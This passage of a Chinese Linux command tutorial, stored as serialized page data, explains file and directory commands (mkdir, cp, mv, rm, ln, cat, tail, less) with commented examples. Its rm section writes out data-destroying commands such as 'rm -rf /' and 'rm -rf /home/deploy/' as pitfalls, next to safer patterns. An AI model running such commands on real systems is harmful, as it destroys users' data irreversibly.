建目录、删空目录",[11,75684,75685],{},[17,75686,75687],{},"示例 1：创建多级目录",[308,75689,75691],{"className":3902,"code":75690,"language":3904,"meta":314,"style":314},"mkdir build          # 建单层目录，父目录不存在会失败\nmkdir -p a\u002Fb\u002Fc       # -p 逐级创建，已存在也不报错\nmkdir -p logs\u002F{2026..2028}   # 花括号展开，一次建三年目录\n",[22,75692,75693,75703,75715],{"__ignoreMap":314},[331,75694,75695,75698,75700],{"class":333,"line":334},[331,75696,75697],{"class":501},"mkdir",[331,75699,35439],{"class":365},[331,75701,75702],{"class":1003},"          # 建单层目录，父目录不存在会失败\n",[331,75704,75705,75707,75709,75712],{"class":333,"line":341},[331,75706,75697],{"class":501},[331,75708,36941],{"class":344},[331,75710,75711],{"class":365}," a\u002Fb\u002Fc",[331,75713,75714],{"class":1003},"       # -p 逐级创建，已存在也不报错\n",[331,75716,75717,75719,75721,75724],{"class":333,"line":357},[331,75718,75697],{"class":501},[331,75720,36941],{"class":344},[331,75722,75723],{"class":365}," logs\u002F{2026..2028}",[331,75725,75726],{"class":1003},"   # 花括号展开，一次建三年目录\n",[11,75728,75729],{},[17,75730,75731],{},"示例 2：删除目录",[308,75733,75735],{"className":3902,"code":75734,"language":3904,"meta":314,"style":314},"rmdir build          # 只能删空目录，非空就报错——比 rm -r 安全得多\n",[22,75736,75737],{"__ignoreMap":314},[331,75738,75739,75742,75744],{"class":333,"line":334},[331,75740,75741],{"class":501},"rmdir",[331,75743,35439],{"class":365},[331,75745,75746],{"class":1003},"          # 只能删空目录，非空就报错——比 rm -r 安全得多\n",[53,75748,75750],{"id":75749},"_5-touch-创建空文件或更新时间戳","5. touch —— 创建空文件或更新时间戳",[11,75752,75753],{},[17,75754,75755],{},"示例 1：两个用途",[308,75757,75759],{"className":3902,"code":75758,"language":3904,"meta":314,"style":314},"touch app.log                    # 文件不存在就建空的；存在就更新 mtime\ntouch -d \"2026-10-01\" f          # -d 指定时间戳\n",[22,75760,75761,75772],{"__ignoreMap":314},[331,75762,75763,75766,75769],{"class":333,"line":334},[331,75764,75765],{"class":501},"touch",[331,75767,75768],{"class":365}," app.log",[331,75770,75771],{"class":1003},"                    # 文件不存在就建空的；存在就更新 mtime\n",[331,75773,75774,75776,75778,75781,75784],{"class":333,"line":341},[331,75775,75765],{"class":501},[331,75777,36867],{"class":344},[331,75779,75780],{"class":365}," \"2026-10-01\"",[331,75782,75783],{"class":365}," f",[331,75785,75786],{"class":1003},"          # -d 指定时间戳\n",[11,75788,75789,75790,75792],{},"部署时常用 ",[22,75791,75765],{},"「戳一下」源文件触发增量构建。",[53,75794,75796],{"id":75795},"_6-tree-树状展示目录","6. tree —— 树状展示目录",[11,75798,75799],{},[17,75800,75801],{},"示例 1：限制深度",[308,75803,75805],{"className":3902,"code":75804,"language":3904,"meta":314,"style":314},"tree -L 2                  # -L 2 只显示两层，目录巨大时防止刷屏\ntree -aI '__pycache__'     # -a 含隐藏文件，-I 用正则排除\n",[22,75806,75807,75820],{"__ignoreMap":314},[331,75808,75809,75812,75815,75817],{"class":333,"line":334},[331,75810,75811],{"class":501},"tree",[331,75813,75814],{"class":344}," -L",[331,75816,18023],{"class":344},[331,75818,75819],{"class":1003},"                  # -L 2 只显示两层，目录巨大时防止刷屏\n",[331,75821,75822,75824,75827,75830],{"class":333,"line":341},[331,75823,75811],{"class":501},[331,75825,75826],{"class":344}," -aI",[331,75828,75829],{"class":365}," '__pycache__'",[331,75831,75832],{"class":1003},"     # -a 含隐藏文件，-I 用正则排除\n",[11,75834,72534,75835,75837,75838,4813],{},[22,75836,75811],{}," 可能未安装（",[22,75839,75840],{},"apt install tree",[53,75842,75844],{"id":75843},"_7-cp-复制","7. cp —— 复制",[11,75846,75847],{},"复制 = 原件保留、再拷贝一份。最常用的就两种写法：",[11,75849,75850],{},[17,75851,75852],{},"示例 1：只复制内容",[308,75854,75856],{"className":3902,"code":75855,"language":3904,"meta":314,"style":314},"cp app.py \u002Ftmp\u002Fapp.py    # 目标权限按 umask 重算，属主变成执行者；生产备份别用这个\n",[22,75857,75858],{"__ignoreMap":314},[331,75859,75860,75862,75865,75868],{"class":333,"line":334},[331,75861,50365],{"class":501},[331,75863,75864],{"class":365}," app.py",[331,75866,75867],{"class":365}," \u002Ftmp\u002Fapp.py",[331,75869,75870],{"class":1003},"    # 目标权限按 umask 重算，属主变成执行者；生产备份别用这个\n",[11,75872,75873],{},[17,75874,75875],{},"示例 2：完整备份（保留属性）",[308,75877,75879],{"className":3902,"code":75878,"language":3904,"meta":314,"style":314},"cp -a src\u002F backup\u002F       # -a = -rp --preserve=links,timestamps：递归 + 保权限\u002F时间戳\u002F链接\n",[22,75880,75881],{"__ignoreMap":314},[331,75882,75883,75885,75887,75890,75893],{"class":333,"line":334},[331,75884,50365],{"class":501},[331,75886,57537],{"class":344},[331,75888,75889],{"class":365}," src\u002F",[331,75891,75892],{"class":365}," backup\u002F",[331,75894,75895],{"class":1003},"       # -a = -rp --preserve=links,timestamps：递归 + 保权限\u002F时间戳\u002F链接\n",[11,75897,75898],{},[17,75899,75900],{},"示例 3：防覆盖",[308,75902,75904],{"className":3902,"code":75903,"language":3904,"meta":314,"style":314},"cp -i a.txt \u002Ftmp\u002F        # -i 目标已存在时先问；脚本里建议加，或直接先判断存在\n",[22,75905,75906],{"__ignoreMap":314},[331,75907,75908,75910,75912,75915,75918],{"class":333,"line":334},[331,75909,50365],{"class":501},[331,75911,53226],{"class":344},[331,75913,75914],{"class":365}," a.txt",[331,75916,75917],{"class":365}," \u002Ftmp\u002F",[331,75919,75920],{"class":1003},"        # -i 目标已存在时先问；脚本里建议加，或直接先判断存在\n",[11,75922,75923,75924,7131,75926,75929],{},"跨机复制目录不要直接用 ",[22,75925,50365],{},[22,75927,75928],{},"rsync -a src\u002F host:\u002Fsrv\u002Fapp\u002F","（见第十三章），它保留属性且可断点续传。",[53,75931,75933],{"id":75932},"_8-mv-移动与改名","8. mv —— 移动与改名",[11,75935,75936],{},[17,75937,75938],{},"示例 1：改名 \u002F 移动",[308,75940,75942],{"className":3902,"code":75941,"language":3904,"meta":314,"style":314},"mv a.txt old\u002Fa_2026-10-04.txt   # 同分区改名是改目录项，瞬时完成\nmv big.iso \u002Fmnt\u002Fusb\u002F            # 跨分区是先复制再删，慢且占双份空间\n",[22,75943,75944,75957],{"__ignoreMap":314},[331,75945,75946,75949,75951,75954],{"class":333,"line":334},[331,75947,75948],{"class":501},"mv",[331,75950,75914],{"class":365},[331,75952,75953],{"class":365}," old\u002Fa_2026-10-04.txt",[331,75955,75956],{"class":1003},"   # 同分区改名是改目录项，瞬时完成\n",[331,75958,75959,75961,75964,75967],{"class":333,"line":341},[331,75960,75948],{"class":501},[331,75962,75963],{"class":365}," big.iso",[331,75965,75966],{"class":365}," \u002Fmnt\u002Fusb\u002F",[331,75968,75969],{"class":1003},"            # 跨分区是先复制再删，慢且占双份空间\n",[11,75971,75972],{},[17,75973,75974],{},"示例 2：控制覆盖行为",[308,75976,75978],{"className":3902,"code":75977,"language":3904,"meta":314,"style":314},"mv -n a b    # -n 目标存在就不覆盖\nmv -b a b    # -b 覆盖前先把目标备份一份\n",[22,75979,75980,75994],{"__ignoreMap":314},[331,75981,75982,75984,75987,75989,75991],{"class":333,"line":334},[331,75983,75948],{"class":501},[331,75985,75986],{"class":344}," -n",[331,75988,60744],{"class":365},[331,75990,60747],{"class":365},[331,75992,75993],{"class":1003},"    # -n 目标存在就不覆盖\n",[331,75995,75996,75998,76001,76003,76005],{"class":333,"line":341},[331,75997,75948],{"class":501},[331,75999,76000],{"class":344}," -b",[331,76002,60744],{"class":365},[331,76004,60747],{"class":365},[331,76006,76007],{"class":1003},"    # -b 覆盖前先把目标备份一份\n",[53,76009,76011],{"id":76010},"_9-rm-删除危险命令先读三条铁律","9. rm —— 删除（危险命令，先读三条铁律）",[11,76013,76014,76016,76017,655,76020,76023],{},[22,76015,52134],{}," 删除是不可逆的：它直接 unlink inode，文件系统层面没有回收站；",[22,76018,76019],{},"debugfs",[22,76021,76022],{},"photorec"," 抢救成功率低且需要立刻停止写入。",[11,76025,76026],{},[17,76027,76028],{},"示例 1：安全地删",[308,76030,76032],{"className":3902,"code":76031,"language":3904,"meta":314,"style":314},"rm -i notes.txt      # -i 每个文件都确认\nrm -I build\u002F         # -I 只在删超过 3 个文件或递归时问一次，日常推荐\nrm -rf build\u002F        # -r 递归、-f 强制 —— 不可逆，谨慎\n",[22,76033,76034,76046,76059],{"__ignoreMap":314},[331,76035,76036,76038,76040,76043],{"class":333,"line":334},[331,76037,52134],{"class":501},[331,76039,53226],{"class":344},[331,76041,76042],{"class":365}," notes.txt",[331,76044,76045],{"class":1003},"      # -i 每个文件都确认\n",[331,76047,76048,76050,76053,76056],{"class":333,"line":341},[331,76049,52134],{"class":501},[331,76051,76052],{"class":344}," -I",[331,76054,76055],{"class":365}," build\u002F",[331,76057,76058],{"class":1003},"         # -I 只在删超过 3 个文件或递归时问一次，日常推荐\n",[331,76060,76061,76063,76066,76068],{"class":333,"line":357},[331,76062,52134],{"class":501},[331,76064,76065],{"class":344}," -rf",[331,76067,76055],{"class":365},[331,76069,76070],{"class":1003},"        # -r 递归、-f 强制 —— 不可逆，谨慎\n",[11,76072,76073],{},[17,76074,76075],{},"示例 2：删除前先看一眼范围",[308,76077,76079],{"className":3902,"code":76078,"language":3904,"meta":314,"style":314},"find build -type f -print    # 确认范围再动手，比事后找回容易；确定无误后把 -print 换成 -delete\n",[22,76080,76081],{"__ignoreMap":314},[331,76082,76083,76085,76087,76090,76092,76095],{"class":333,"line":334},[331,76084,16382],{"class":501},[331,76086,35439],{"class":365},[331,76088,76089],{"class":344}," -type",[331,76091,75783],{"class":365},[331,76093,76094],{"class":344}," -print",[331,76096,76097],{"class":1003},"    # 确认范围再动手，比事后找回容易；确定无误后把 -print 换成 -delete\n",[11,76099,76100,76102],{},[22,76101,57585],{}," 的三条铁律：",[1659,76104,76105,76128,76150],{},[1662,76106,76107,161,76110,23629,76113,76116,76117,76120,76121,76124,76125,161],{},[17,76108,76109],{},"路径必须先补全再回车",[22,76111,76112],{},"rm -rf $DIR\u002F",[22,76114,76115],{},"$DIR"," 为空时变成 ",[22,76118,76119],{},"rm -rf \u002F","（新版 coreutils 会拒绝，但 ",[22,76122,76123],{},"rm -rf \u002Fhome\u002Fdeploy\u002F"," 不会）。安全写法：",[22,76126,76127],{},"rm -rf \"${DIR:?变量未设置}\u002F\"*",[1662,76129,76130,76136,76137,29688,76140,40995,76142,26877,76144,76146,76147,76149],{},[17,76131,76132,76133,76135],{},"不要在 ",[22,76134,3936],{}," 失败的目录里执行","。脚本里写 ",[22,76138,76139],{},"cd \u002Fsrv\u002Fapp && rm -rf cache",[22,76141,14406],{},[22,76143,37246],{},[22,76145,3936],{}," 失败时 ",[22,76148,37246],{}," 后面的命令会在当前目录执行。",[1662,76151,76152,322,76155,76158,76159,76161,76162,161],{},[17,76153,76154],{},"保护参数",[22,76156,76157],{},"--preserve-root","（默认开启，防 ",[22,76160,76119],{},"）；手生时永远先加 ",[22,76163,49299],{},[53,76165,76167],{"id":76166},"_10-ln-软链接与硬链接","10. ln —— 软链接与硬链接",[11,76169,76170],{},"Linux 的链接分两种，用法和性质完全不同：",[57,76172,76173,76185],{},[60,76174,76175],{},[63,76176,76177,76179,76182],{},[66,76178,36604],{},[66,76180,76181],{},"软链接（symbolic）",[66,76183,76184],{},"硬链接（hard）",[79,76186,76187,76201,76212,76226,76239,76249],{},[63,76188,76189,76191,76196],{},[84,76190,35885],{},[84,76192,76193],{},[22,76194,76195],{},"ln -s \u002Fsrv\u002Fapp\u002Freleases\u002Fv7 current",[84,76197,76198],{},[22,76199,76200],{},"ln big.txt big.bak",[63,76202,76203,76206,76209],{},[84,76204,76205],{},"本质",[84,76207,76208],{},"独立 inode，存的是路径字符串",[84,76210,76211],{},"同一 inode 的第二个目录项",[63,76213,76214,76217,76223],{},[84,76215,76216],{},"目标删了",[84,76218,76219,76220,76222],{},"变成悬空链接，",[22,76221,75200],{}," 显示红色",[84,76224,76225],{},"内容仍在，链接数减 1；归零才真删数据",[63,76227,76228,76231,76234],{},[84,76229,76230],{},"跨文件系统",[84,76232,76233],{},"可以（存路径）",[84,76235,76236],{},[17,76237,76238],{},"不可以",[63,76240,76241,76244,76246],{},[84,76242,76243],{},"指向目录",[84,76245,46585],{},[84,76247,76248],{},"一般禁止（root 也不建议）",[63,76250,76251,76254,76260],{},[84,76252,76253],{},"权限位",[84,76255,76256,76259],{},[22,76257,76258],{},"lrwxrwxrwx","（固定，实际权限看目标）",[84,76261,76262],{},"与目标共享权限",[11,76264,76265],{},[17,76266,76267],{},"示例 1：发布目录的经典用法",[308,76269,76271],{"className":3902,"code":76270,"language":3904,"meta":314,"style":314},"ln -s \u002Fsrv\u002Fapp\u002Freleases\u002Fv7 current    # -s 建软链接，「版本目录 + current 指针」的发布方式\nln -sfn \u002Fsrv\u002Fapp\u002Freleases\u002Fv8 current  # 切换版本：-f 覆盖已存在的同名链接，-n 把它当普通文件处理\n",[22,76272,76273,76289],{"__ignoreMap":314},[331,76274,76275,76278,76280,76283,76286],{"class":333,"line":334},[331,76276,76277],{"class":501},"ln",[331,76279,15978],{"class":344},[331,76281,76282],{"class":365}," \u002Fsrv\u002Fapp\u002Freleases\u002Fv7",[331,76284,76285],{"class":365}," current",[331,76287,76288],{"class":1003},"    # -s 建软链接，「版本目录 + current 指针」的发布方式\n",[331,76290,76291,76293,76296,76299,76301],{"class":333,"line":341},[331,76292,76277],{"class":501},[331,76294,76295],{"class":344}," -sfn",[331,76297,76298],{"class":365}," \u002Fsrv\u002Fapp\u002Freleases\u002Fv8",[331,76300,76285],{"class":365},[331,76302,76303],{"class":1003},"  # 切换版本：-f 覆盖已存在的同名链接，-n 把它当普通文件处理\n",[11,76305,72534,76306,76308,76309,76312,76313,76316,76317,76320],{},[22,76307,50545],{}," 不能省——否则 ",[22,76310,76311],{},"ln -s 新目标 current"," 会把新链接建到 ",[22,76314,76315],{},"current\u002F"," 目录",[17,76318,76319],{},"里面","去，这是最经典的坑。",[53,76322,76324],{"id":76323},"_11-路径的三种写法与通配符","11. 路径的三种写法与通配符",[57,76326,76327,76338],{},[60,76328,76329],{},[63,76330,76331,76333,76335],{},[66,76332,19254],{},[66,76334,5441],{},[66,76336,76337],{},"展开时机",[79,76339,76340,76353,76372],{},[63,76341,76342,76345,76350],{},[84,76343,76344],{},"绝对路径",[84,76346,76347],{},[22,76348,76349],{},"\u002Fsrv\u002Fapp\u002Fapp.py",[84,76351,76352],{},"永远有效，脚本里首选",[63,76354,76355,76358,76366],{},[84,76356,76357],{},"相对路径",[84,76359,76360,272,76363],{},[22,76361,76362],{},".\u002Fstatic\u002Flogo.png",[22,76364,76365],{},"..\u002F..\u002Flogs\u002Fapp.log",[84,76367,76368,76369,76371],{},"依赖当前目录，",[22,76370,3936],{}," 后就变了",[63,76373,76374,76377,76385],{},[84,76375,76376],{},"主目录",[84,76378,76379,4839,76382,76384],{},[22,76380,76381],{},"~\u002Fdownloads\u002Fa.zip",[22,76383,5404],{}," 在最前才生效）",[84,76386,76387,76388],{},"Shell 展开为 ",[22,76389,76390],{},"$HOME",[11,76392,76393],{},"通配符（glob）与花括号展开：",[57,76395,76396,76407],{},[60,76397,76398],{},[63,76399,76400,76402,76405],{},[66,76401,11975],{},[66,76403,76404],{},"匹配",[66,76406,19257],{},[79,76408,76409,76433,76449,76468,76483,76498],{},[63,76410,76411,76415,76422],{},[84,76412,76413],{},[22,76414,48627],{},[84,76416,76417,76418,76421],{},"所有以 ",[22,76419,76420],{},".log"," 结尾",[84,76423,76424,76425,76428,76429,76432],{},"没有匹配时 bash 默认",[17,76426,76427],{},"原样保留","该字符串（导致奇怪报错）；",[22,76430,76431],{},"shopt -s nullglob"," 让它展开为空",[63,76434,76435,76440,76443],{},[84,76436,76437],{},[22,76438,76439],{},"app?.py",[84,76441,76442],{},"单字符占位",[84,76444,76445,76448],{},[22,76446,76447],{},"app12.py"," 不匹配",[63,76450,76451,76456,76459],{},[84,76452,76453],{},[22,76454,76455],{},"[0-9]*",[84,76457,76458],{},"字符集开头",[84,76460,76461,6745,76464,76467],{},[22,76462,76463],{},"[!0-9]*",[22,76465,76466],{},"[^0-9]*"," 取反",[63,76469,76470,76475,76478],{},[84,76471,76472],{},[22,76473,76474],{},"**\u002F*.js",[84,76476,76477],{},"递归",[84,76479,67076,76480],{},[22,76481,76482],{},"shopt -s globstar extglob",[63,76484,76485,76490,76495],{},[84,76486,76487],{},[22,76488,76489],{},"{a,b}.conf",[84,76491,76492],{},[22,76493,76494],{},"a.conf b.conf",[84,76496,76497],{},"花括号展开发生在通配之前，适合批量建文件",[63,76499,76500,76505,76508],{},[84,76501,76502],{},[22,76503,76504],{},"file_{1..5}.tmp",[84,76506,76507],{},"5 个名字",[84,76509,76510,76513],{},[22,76511,76512],{},"mkdir -p logs\u002F{2026..2028}"," 一次建三年目录",[11,76515,76516,76517,76520,76521,6745,76524,161],{},"空格与特殊字符的文件名永远用引号包：",[22,76518,76519],{},"cp \"my report 2026.pdf\" \u002Ftmp\u002F","。确认目录里有带换行的怪文件时用 ",[22,76522,76523],{},"ls -Q",[22,76525,76526],{},"find . -print0",[53,76528,75156],{"id":76529},"踩坑提醒-1",[1773,76531,76532,76540,76561,76577],{},[1662,76533,76534,76536,76537,24944],{},[22,76535,75200],{}," 看到目录大小 4.0K 不代表里面只有 4KB，看总占用用 ",[22,76538,76539],{},"du -sh 目录",[1662,76541,76542,76544,76545,76547,76548,76550,76551,76553,76554,76556,76557,76560],{},[22,76543,50365],{}," 到已存在的同名文件会",[17,76546,62343],{},"，脚本里加 ",[22,76549,49299],{}," 或先判断存在；",[22,76552,75948],{}," 同样，",[22,76555,50545],{}," 表示不覆盖，",[22,76558,76559],{},"-b"," 覆盖前备份。",[1662,76562,76563,76564,76566,76567,76569,76570,76573,76574,161],{},"别名陷阱：很多发行版给 root 配了 ",[22,76565,74886],{},"，交互式很爽，脚本里 ",[22,76568,52134],{}," 卡在确认上。脚本开头 ",[22,76571,76572],{},"unalias -a 2>\u002Fdev\u002Fnull"," 或直接写 ",[22,76575,76576],{},"\u002Fbin\u002Frm",[1662,76578,16105,76579,76582,76583,76586],{},[22,76580,76581],{},"ls | xargs rm"," 处理带空格的文件名会出大事，正确做法是 ",[22,76584,76585],{},"find … -print0 | xargs -0 rm --","（第六章、第八章）。",[48,76588,76590],{"id":76589},"三查看文件内容catheadtaillessfile","三、查看文件内容：cat、head、tail、less、file",[11,76592,76593,76594,76596,76597,76600],{},"看日志、看配置、看二进制里嵌的字符串——目的不同，工具差别很大。选错工具的后果通常是：",[22,76595,57384],{}," 一个 8GB 日志把终端刷爆，或者用 ",[22,76598,76599],{},"less"," 打开后不知道怎么退出。",[53,76602,76604],{"id":76603},"_1-cat-一次性输出整个文件","1. cat —— 一次性输出整个文件",[11,76606,76607,76609,76610,76612,76613,6745,76616,4813],{},[22,76608,57384],{}," 适合短文件；长文件请用 ",[22,76611,76599],{},"，超大文件先看体积（",[22,76614,76615],{},"ls -lh",[22,76617,76618],{},"wc -c",[11,76620,76621],{},[17,76622,76623],{},"示例 1：直接查看",[308,76625,76627],{"className":3902,"code":76626,"language":3904,"meta":314,"style":314},"cat \u002Fetc\u002Fnginx\u002Fnginx.conf    # 整个文件输出到终端\n",[22,76628,76629],{"__ignoreMap":314},[331,76630,76631,76633,76636],{"class":333,"line":334},[331,76632,57384],{"class":501},[331,76634,76635],{"class":365}," \u002Fetc\u002Fnginx\u002Fnginx.conf",[331,76637,76638],{"class":1003},"    # 整个文件输出到终端\n",[11,76640,76641],{},[17,76642,76643],{},"示例 2：带行号",[308,76645,76647],{"className":3902,"code":76646,"language":3904,"meta":314,"style":314},"cat -n app.py    # -n 每行前面加行号（空行也编号）\nnl file          # 类似但默认只给非空行编号，nl -ba 则全部编号\n",[22,76648,76649,76660],{"__ignoreMap":314},[331,76650,76651,76653,76655,76657],{"class":333,"line":334},[331,76652,57384],{"class":501},[331,76654,75986],{"class":344},[331,76656,75864],{"class":365},[331,76658,76659],{"class":1003},"    # -n 每行前面加行号（空行也编号）\n",[331,76661,76662,76665,76667],{"class":333,"line":341},[331,76663,76664],{"class":501},"nl",[331,76666,10499],{"class":365},[331,76668,76669],{"class":1003},"          # 类似但默认只给非空行编号，nl -ba 则全部编号\n",[11,76671,76672],{},[17,76673,76674],{},"示例 3：查看不可见字符（查 Windows 换行必备）",[308,76676,76678],{"className":3902,"code":76677,"language":3904,"meta":314,"style":314},"cat -A Makefile    # 行尾显示 $、Tab 显示 ^I、CR 显示 ^M\n",[22,76679,76680],{"__ignoreMap":314},[331,76681,76682,76684,76687,76690],{"class":333,"line":334},[331,76683,57384],{"class":501},[331,76685,76686],{"class":344}," -A",[331,76688,76689],{"class":365}," Makefile",[331,76691,76692],{"class":1003},"    # 行尾显示 $、Tab 显示 ^I、CR 显示 ^M\n",[11,76694,57209,76695,76698,76699,6745,76702,76705],{},[22,76696,76697],{},"^M$"," 就说明文件是 CRLF 行尾，用 ",[22,76700,76701],{},"sed -i 's\u002F\\r$\u002F\u002F' file",[22,76703,76704],{},"dos2unix file"," 处理。",[11,76707,76708],{},[17,76709,76710],{},"示例 4：拼接文件",[308,76712,76714],{"className":3902,"code":76713,"language":3904,"meta":314,"style":314},"cat part_* > full.bin    # 顺序按参数顺序（glob 展开按名字排序）\ntac access.log           # tac 按行倒序输出，看倒序日志很方便\n",[22,76715,76716,76733],{"__ignoreMap":314},[331,76717,76718,76720,76723,76725,76727,76730],{"class":333,"line":334},[331,76719,57384],{"class":501},[331,76721,76722],{"class":365}," part_",[331,76724,18020],{"class":344},[331,76726,56464],{"class":616},[331,76728,76729],{"class":365}," full.bin",[331,76731,76732],{"class":1003},"    # 顺序按参数顺序（glob 展开按名字排序）\n",[331,76734,76735,76738,76741],{"class":333,"line":341},[331,76736,76737],{"class":501},"tac",[331,76739,76740],{"class":365}," access.log",[331,76742,76743],{"class":1003},"           # tac 按行倒序输出，看倒序日志很方便\n",[53,76745,76747],{"id":76746},"_2-head-只看开头","2. head —— 只看开头",[11,76749,76750],{},[17,76751,76752],{},"示例 1：前 N 行",[308,76754,76756],{"className":3902,"code":76755,"language":3904,"meta":314,"style":314},"head -n 200 big.csv    # 前 200 行；-n 指定行数，默认 10 行\nhead -c 512 file       # -c 按字节取\n",[22,76757,76758,76773],{"__ignoreMap":314},[331,76759,76760,76762,76764,76767,76770],{"class":333,"line":334},[331,76761,530],{"class":501},[331,76763,75986],{"class":344},[331,76765,76766],{"class":344}," 200",[331,76768,76769],{"class":365}," big.csv",[331,76771,76772],{"class":1003},"    # 前 200 行；-n 指定行数，默认 10 行\n",[331,76774,76775,76777,76779,76781,76783],{"class":333,"line":341},[331,76776,530],{"class":501},[331,76778,15990],{"class":344},[331,76780,57102],{"class":344},[331,76782,10499],{"class":365},[331,76784,76785],{"class":1003},"       # -c 按字节取\n",[11,76787,76788],{},[17,76789,76790],{},"示例 2：去掉末尾几行",[308,76792,76794],{"className":3902,"code":76793,"language":3904,"meta":314,"style":314},"head -n -5 data.txt    # 输出除最后 5 行以外的全部内容（GNU 扩展，BusyBox 不支持）\n",[22,76795,76796],{"__ignoreMap":314},[331,76797,76798,76800,76802,76805,76808],{"class":333,"line":334},[331,76799,530],{"class":501},[331,76801,75986],{"class":344},[331,76803,76804],{"class":344}," -5",[331,76806,76807],{"class":365}," data.txt",[331,76809,76810],{"class":1003},"    # 输出除最后 5 行以外的全部内容（GNU 扩展，BusyBox 不支持）\n",[53,76812,76814],{"id":76813},"_3-tail-只看末尾与实时跟踪","3. tail —— 只看末尾与实时跟踪",[11,76816,76817],{},[17,76818,76819],{},"示例 1：最后 N 行",[308,76821,76823],{"className":3902,"code":76822,"language":3904,"meta":314,"style":314},"tail -n 50 app.log     # 默认 10 行\n",[22,76824,76825],{"__ignoreMap":314},[331,76826,76827,76830,76832,76835,76837],{"class":333,"line":334},[331,76828,76829],{"class":501},"tail",[331,76831,75986],{"class":344},[331,76833,76834],{"class":344}," 50",[331,76836,75768],{"class":365},[331,76838,76839],{"class":1003},"     # 默认 10 行\n",[11,76841,76842],{},[17,76843,76844],{},"示例 2：实时跟踪日志（最常用的排障动作）",[308,76846,76848],{"className":3902,"code":76847,"language":3904,"meta":314,"style":314},"tail -f -n 200 app.log      # -f 跟踪追加内容，Ctrl-C 退出\ntail -F \u002Fvar\u002Flog\u002Fsyslog     # -F 在文件被 logrotate 轮转后会重新打开，生产环境用大写 F\n",[22,76849,76850,76865],{"__ignoreMap":314},[331,76851,76852,76854,76856,76858,76860,76862],{"class":333,"line":334},[331,76853,76829],{"class":501},[331,76855,43839],{"class":344},[331,76857,75986],{"class":344},[331,76859,76766],{"class":344},[331,76861,75768],{"class":365},[331,76863,76864],{"class":1003},"      # -f 跟踪追加内容，Ctrl-C 退出\n",[331,76866,76867,76869,76872,76875],{"class":333,"line":341},[331,76868,76829],{"class":501},[331,76870,76871],{"class":344}," -F",[331,76873,76874],{"class":365}," \u002Fvar\u002Flog\u002Fsyslog",[331,76876,76877],{"class":1003},"     # -F 在文件被 logrotate 轮转后会重新打开，生产环境用大写 F\n",[11,76879,76880,76882,76883,76886],{},[22,76881,48296],{}," 在日志轮转后会",[17,76884,76885],{},"静默停止","，这是「tail 看着没动静其实服务在写新文件」的常见原因。",[11,76888,76889],{},[17,76890,76891],{},"示例 3：跟踪 + 过滤",[308,76893,76895],{"className":3902,"code":76894,"language":3904,"meta":314,"style":314},"tail -f app.log | grep --line-buffered ERROR\n",[22,76896,76897],{"__ignoreMap":314},[331,76898,76899,76901,76903,76905,76907,76909,76912],{"class":333,"line":334},[331,76900,76829],{"class":501},[331,76902,43839],{"class":344},[331,76904,75768],{"class":365},[331,76906,15984],{"class":616},[331,76908,16363],{"class":501},[331,76910,76911],{"class":344}," --line-buffered",[331,76913,76914],{"class":365}," ERROR\n",[11,76916,76917,76918,76921,76922,76925,76926,161],{},"不加 ",[22,76919,76920],{},"--line-buffered"," 会因为管道缓冲看起来「卡住了」。看多文件时 ",[22,76923,76924],{},"tail -f"," 会在两个文件间轮流转屏，容易看漏；逐个终端各开一个，或用 ",[22,76927,76928],{},"multitail",[53,76930,76932],{"id":76931},"_4-less-分页阅读","4. less —— 分页阅读",[11,76934,76935,76937,76938,76941],{},[22,76936,76599],{}," 是看长文件的标准答案（名字来自「LESS is more」）；",[22,76939,76940],{},"more"," 只能往前翻，除了「机器上只装了它」之外没有理由选它。",[11,76943,76944],{},[17,76945,76946],{},"示例 1：打开文件",[308,76948,76950],{"className":3902,"code":76949,"language":3904,"meta":314,"style":314},"less file    # 打开后按 q 退出——新手最常见的卡住点\n",[22,76951,76952],{"__ignoreMap":314},[331,76953,76954,76956,76958],{"class":333,"line":334},[331,76955,76599],{"class":501},[331,76957,10499],{"class":365},[331,76959,76960],{"class":1003},"    # 打开后按 q 退出——新手最常见的卡住点\n",[57,76962,76963,76976],{},[60,76964,76965],{},[63,76966,76967,76970,76972,76974],{},[66,76968,76969],{},"键",[66,76971,7759],{},[66,76973,76969],{},[66,76975,7759],{},[79,76977,76978,77000,77021,77038,77058,77078,77100],{},[63,76979,76980,76987,76990,76997],{},[84,76981,76982,1901,76985],{},[22,76983,76984],{},"Space",[22,76986,22158],{},[84,76988,76989],{},"下\u002F上一页",[84,76991,76992,1901,76995],{},[22,76993,76994],{},"g",[22,76996,76994],{},[84,76998,76999],{},"跳到第一行",[63,77001,77002,77010,77013,77018],{},[84,77003,77004,1901,77007],{},[22,77005,77006],{},"Enter",[22,77008,77009],{},"y",[84,77011,77012],{},"下\u002F上一行",[84,77014,77015],{},[22,77016,77017],{},"G",[84,77019,77020],{},"跳到最后一行",[63,77022,77023,77027,77030,77035],{},[84,77024,77025],{},[22,77026,74625],{},[84,77028,77029],{},"向下搜索",[84,77031,77032],{},[22,77033,77034],{},"?关键词",[84,77036,77037],{},"向上搜索",[63,77039,77040,77047,77050,77055],{},[84,77041,77042,1901,77044],{},[22,77043,27399],{},[22,77045,77046],{},"N",[84,77048,77049],{},"下一个 \u002F 上一个匹配",[84,77051,77052],{},[22,77053,77054],{},"&关键词",[84,77056,77057],{},"只显示匹配行（过滤视图）",[63,77059,77060,77066,77069,77073],{},[84,77061,77062,1901,77064],{},[22,77063,75301],{},[22,77065,12374],{},[84,77067,77068],{},"半页下\u002F上",[84,77070,77071],{},[22,77072,10130],{},[84,77074,77075],{},[17,77076,77077],{},"退出",[63,77079,77080,77085,77090,77094],{},[84,77081,77082],{},[22,77083,77084],{},"F",[84,77086,77087,77088,5149],{},"进入跟踪模式（类似 ",[22,77089,76924],{},[84,77091,77092],{},[22,77093,14033],{},[84,77095,16105,77096,77099],{},[22,77097,77098],{},"$EDITOR"," 打开当前文件",[63,77101,77102,77108,77111,77116],{},[84,77103,77104,77107],{},[22,77105,77106],{},"-N","（启动参数）",[84,77109,77110],{},"显示行号",[84,77112,77113],{},[22,77114,77115],{},"Ctrl-G",[84,77117,77118],{},"查看当前位置信息",[11,77120,77121],{},[17,77122,77123],{},"示例 2：常用启动写法",[308,77125,77127],{"className":3902,"code":77126,"language":3904,"meta":314,"style":314},"less -N file        # 显示行号\nless +G file        # 打开即停在底部\nless +F app.log     # 打开即跟踪，像 tail -f，按 Ctrl-C 回到翻页\nless -S file        # 长行不折行，用左右箭头横向滚\n",[22,77128,77129,77141,77153,77165],{"__ignoreMap":314},[331,77130,77131,77133,77136,77138],{"class":333,"line":334},[331,77132,76599],{"class":501},[331,77134,77135],{"class":344}," -N",[331,77137,10499],{"class":365},[331,77139,77140],{"class":1003},"        # 